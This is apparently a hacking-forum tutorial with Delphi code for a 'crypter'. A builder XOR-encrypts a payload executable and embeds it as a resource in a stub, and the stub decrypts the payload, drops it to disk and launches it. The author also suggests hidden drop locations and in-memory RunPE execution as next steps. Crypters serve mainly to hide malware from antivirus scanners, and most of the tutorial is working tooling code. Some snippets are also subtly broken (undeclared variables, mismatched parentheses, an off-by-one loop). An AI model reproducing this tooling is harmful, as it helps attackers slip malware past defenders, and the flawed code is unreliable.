How does a crypter work?
There are many ways actually, use your imagination! Ours will be using a
[*]"payload", The payload is our file to encrypt.
[*]"Stub", Decrypts the payload and executes it.
[*]"Builder", encrypts the payload, and attaches it to the stub.
The Payload.
A simple "Hello World" will do. Open Delphi and create a new console application. File-> New-> Other... [Console Application].
We only need two things, "windows, " under the uses clause. and the MessageBox() API (which is located in "Windows" unit).
Code:
program Payload;
//{$APPTYPE CONSOLE}
//if you want to remove the console window you also have to remove all references to reading/writing to it, else you will get an exception.
uses
Windows;//, SysUtils;
begin
// try
MessageBox(0, 'Hello World', 'Payload', 0);
// except
// on E: Exception do
// Writeln(E.ClassName, ': ', E.Message);
// end;
end.
Now compile(ctrl+f9) and run it(f9). Hurray! Now that we have a payload, set it aside for later use.
For more information on the MessageBox API, please consult
Please Login HERE or Register HERE to see this link!
.
The Builder.
The builder does a few things it encrypts the payload and attaches it to the stub(which we'll get to next). First we need a function to encrypt the data, because this is the 'super simple tut' I'll be using the most basic of examples, XOR encryption.Code:
Procedure Encrypt(Data: PByte; len: Integer);
//PByte is a pointer(LPVOID) which may be accesed like an array.
VAR
I: Integer;
Begin
For I := 0 to len do
Data[I] := Data[I] XOR 4; //4 is random, it can be anything.
End;
That's all, Super easy so far right? But wait, how do we use this function? (eg, what is 'Data' and 'len', where do we get them?), We have to read the file into memory!, Create a new function
Code:
Function AllocFile(lpFileName: LPCWSTR; Var Size32: Int32): LPVOID;
// lpFileName is the file you want to read into memory (payload).
// "var Size32" is an output! it will hold the FileName's file size.
// LPVOID(Result) is a pointer (to the file in memory).
Var
Handle : THandle;//handle ofour file-to-read
dwWrote : DWORD;//output for readfile()
Begin
Result := Nil; // our default result, no file pointer.
Handle := CreateFile(lpFileName, GENERIC_READ, 0, Nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//
Please Login HERE or Register HERE to see this link!
//check out the MSDN for more info.
// GENERIC_READ = we are only reading the file from disk.
// OPEN_EXISTING = dont actually create a file, just open one.
// FILE_ATTRIBUTE_NORMAL = normal attribues, (not hidden or whatever).
IF (Handle <> INVALID_HANDLE_VALUE) Then // was the file opened?
Begin
// this should be obvious, get "handles" file size and put it into Size32.
Size32 := GetFileSize(Handle, Nil);
// we dont want to accidently allocate 0 bytes, so check it. a 0 byte stub would be invalad anyways...
IF (Size32 <> 0) Then
Begin
Result := GetMemory(Size32);
// GetMemory is Delphis' wrapper for allocating memory, you can use whichever method you prefer (eg, VirtualAlloc, getmem)
// note "Result" is the functions return type in this case LPVOID (a pointer), unlike C it doesn't return immediately, its just a variable.
IF (Result <> Nil) Then
Begin
// "^" is refrencing data in the address of Result (not Result itself), opposite of "@"(address of);
//need help with Readfile? check the MSDN first
Please Login HERE or Register HERE to see this link!
IF (ReadFile(Handle, Result^, Size32 { in; bytes to read }, dwWrote { out; bytes actually read }, Nil) = FALSE)Then
Begin
//did readfile fail? Free the memory (Nil)
FreeMemory(Result);
End;
End;
End;
CloseHandle(Handle); // close the handle.
End;
End;
alright, still with me? so we can read a file and encrypt it, like this. (don't copy this; just read it, will add more details later(below))
Code:
var
data: Pointer;
begin
Data := AllocFile(Payload, Len);
IF (Data = Nil) Then
Begin
Writeln('failed to read payload.');
Exit;
End;
//didn't exit? continue..
Encrypt(Data, DataLen); // "data" is now "encrypted" (xor'd).
//
FreeMemory(Data);
An important note is that our AllocFile() allocates memory ( GetMemory() ), we must free this allocated memory when we no longer need it, or else it will be 'tied up' and unusable to the system, this is called a Memoryleak.
Now we just need to attach the payload to the stub, but how do we attach data to an executable? Again, there are several ways, we will using resources; However, you can append data to the end of a file, or create a new section, there are many ways just look in to PE file structures for more info. if we search MSDN we can find
Please Login HERE or Register HERE to see this link!
Code:
Function Write_to_resource(lpStubName: LPCWSTR; Data: LPVOID;
len: Integer): Boolean;
const
// name the data, we will use this identifier to retrive the data later.(in the stub)
szDataName: LPCWSTR = 'PAYLOAD';
Var
// a handle to our resource.
hResource: THandle;
Begin
hResource := BeginUpdateResource(lpStubName, FALSE);
// update a resource in the stub, do not overwrite old resources.
IF (hResource = 0) Then
Begin
Exit(FALSE); // failed, so exit and return false.
// unable to open the stubs resource, for more information on why this failed call GetLastError().
End;
// RT_RCDATA is just a specific area for binary data, can read more information on resource types here
Please Login HERE or Register HERE to see this link!
Result := UpdateResource(hResource, RT_RCDATA, szDataName, 0, Data, len);
IF (Result = FALSE) Then
Begin
// again "Result" is the functions return type, "boolean" in this case.
// you could also use "IF(updateresource(...) = false)then". just showing Result's usage.
Writeln('UpdateResource failed!: ', GetLastError());
Exit(FALSE);
End;
Result := EndUpdateResource(hResource, FALSE);
IF (Result = FALSE) Then
Begin
// note: EndUpdateResource closes the handle and lets you know if there were any errors writing, by returning false.
Writeln('EndUpdateResource failed!: ', GetLastError());
Exit(FALSE);
End;
// if no API failed Result will be True, so let the function exit.
End;
Sweet! lets add this to our Main.
Code:
Var
Payload : LPCWSTR;
Data : PByte;
DataLen : Int32;
begin
try
{ TODO -oUser -cConsole Main : Insert code here }
Payload := LPCSTR(ParamStr(1));
//ParamStr(1) gets the first parameter of the executable, for example
//builder.exe -a -b
//paramstr(0) is "builder.exe"
//paramstr(1) is "-a"
//paramstr(2) is "-b"
// I'm using this so we can drop the payload on to the builder, Causing the builder to launch with the 'payload' as the first parameter
Data := AllocFile(Payload, DataLen);
IF (Data = Nil) Then
Begin
Writeln('failed to read payload.');
Exit;
End;
//didnt exit? continue..
Encrypt(Data, DataLen); // "data" is now "encrypted" (xor'd).
Write_to_resource('stub.exe', Data, DataLen);
FreeMemory(Data);
//again if we don't free the allocated memory, we have what is called a Memoryleak. Memory leaks are a waste of RAM.
end;
Getting close! All we have left is the Stub! so, save your work and create a new project (again).
First we need to pull out our saved resource. looking at the above MSDN page on resources I can see we'll be using FindResource(), SizeofResource(), and LockResource(). lets put together a function for this
Code:
Function Read_resource(var Size32: Int32): LPVOID;
// Result is a Pointer(Address), we will need to allocate space and assign Result.
const
szDataName: LPCWSTR = 'PAYLOAD'; // szDataName was our resources' identifier, remember?
var
Handle : THandle;
Resource: THandle;
Data : LPVOID;
Begin
Result := Nil; // Default result, in case something fails.
Handle := FindResource(0, szDataName, RT_RCDATA); //find the resource by its identifier, its in the RT_RCDATA resource section.
IF (Handle <> 0) Then
Begin
Resource := LoadResource(0, Handle); //get a pointer to the resource
IF (Resource <> 0) Then
Begin
Size32 := SizeOfResource(0, Handle); //get the resources size
Data := LockResource(Resource); //Read the resource.
Result := GetMemory(Size32); //get enough memory to copy the resource into.
IF (Result <> Nil) Then
Begin
Move(Data^, Result^, Size32); //again ^ is taking the data inside pointer A, and moving it inside pointer B
// Move the resource data into our result.
End; // Else Writeln('GetMemory Failed!: ', GetLastError());
End; // Else Writeln('LoadResource Failed!: ', GetLastError());
End; // Else Writeln('FindResource Failed!: ', GetLastError());
end;
Nice! our encrypted file is back into memory! now, obviously you can't execute encrypted data, the windows loader isn't going to know what it is, so we must decrypt it! luckily XOR-ing can be undone using the same function. lets update our main function..
Code:
Var
Size32: Int32;
Data: PByte;
begin
Data := Read_resource(Size32);
IF (Data <> Nil) Then
Begin
encrypt(Data, Size32); // un-encrypting
//"data" is now our original file (in memory)!
//The current most common approch would be to execute the memory-loaded-file via executable forking(RunPE); However, RunPE is NOT noob friendly
//and would require a lot of explaining (that is, if you are intrested in learning, and not just using a pre-existing snippet),
//which I unfortunately dont have time to explain right now; instead, I will do the classic approch, which is indeed noob friendly.
FreeMemory(Data);//remember don't make any memory leaks!
End;
end.
lets just write the file to disk and execute it normally. How can we write something to a file? MSDN to the Rescue! looks like we will need CreateFile() and WriteFile().
Code:
Function Write_To_Disk(lpFilePath: LPCWSTR; Data: Pointer; Size32: Int32): Boolean;
Var
Handle: THandle;//handle to our file.
Begin
//these parameters should be fairly self explanatory;
Please Login HERE or Register HERE to see this link!
Handle := CreateFile(lpFilePath, GENERIC_WRITE, 0{no sharing}, Nil, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
IF (Handle <> INVALID_HANDLE_VALUE) Then
Begin
Result := WriteFile(Handle, Data^, Size32{in; bytes to write}, Size32{out; bytes actually wrote}, Nil);
CloseHandle(Handle);
//if we forget to close the handle other processes won't be able to access the file because we have sharing disabled.
End;//Else Writeln('CreateFile Failed!: ', GetLastError());
End;
Last thing is to simply run the file.
Code:
Function LaunchProcess(lpFilePath: LPCSTR;): Boolean;
Var
PI :TProcessInformation;
SI :TStartupInfoA;
begin
Result := FALSE;
Move(lpFile[0], IDH, Sizeof(IDH));
FillChar(PI, Sizeof(PI), #0);//clear the PI structure
FillChar(SI, Sizeof(SI), #0);//clear the SI structure
SI.cb := SizeOf(TStartupInfo);//MSDN says we need to set this value.
//for more information in what createprocesse's parameters are
Please Login HERE or Register HERE to see this link!
Result := CreateProcess(lpProcess, Nil, Nil, Nil, FALSE, 0, Nil, Nil, SI, PI) = TRUE);
IF (Result = False) Then
Begin
//writeln('CreateProcess failed: ', GetLastError());
End;
End;
And add writing and launching to our main.
Code:
const
lpPayloadName: LPCWSTR = 'droped.exe';
// or c:\some\path\to\payload.exe
Var
Size32: Int32;
Data: PByte;
begin
Data := Read_resource(Size32);
IF (Data <> Nil) Then
Begin
encrypt(Data, Size32); // un-encrypting
IF (Write_To_Disk(lpPayloadName, Data, Size32) = TRUE) Then
Begin
LaunchProcess(lpPayloadName);
End;
End;
end.
You know what? that's it. You have a fully working crypter. Although its pretty dated, it works as expected.
Improvements may include
[*] Better encryption,
[*] compression
[*] dropping to a discrete location (not your desktop), (setting hidden attributes in CreateFile()...)
[*] memory execution, (RunPE, no dropping files)
However, these are a little more advanced for a later tutorial (or time when I'm not so busy).
NOTE: Im using Delphi XE, some of the types may not exist in other(older?) delphi versions.
LPCWSTR = PWideChar.
LPVOID = Pointer
INT32 = Integer
PByte = ^Byte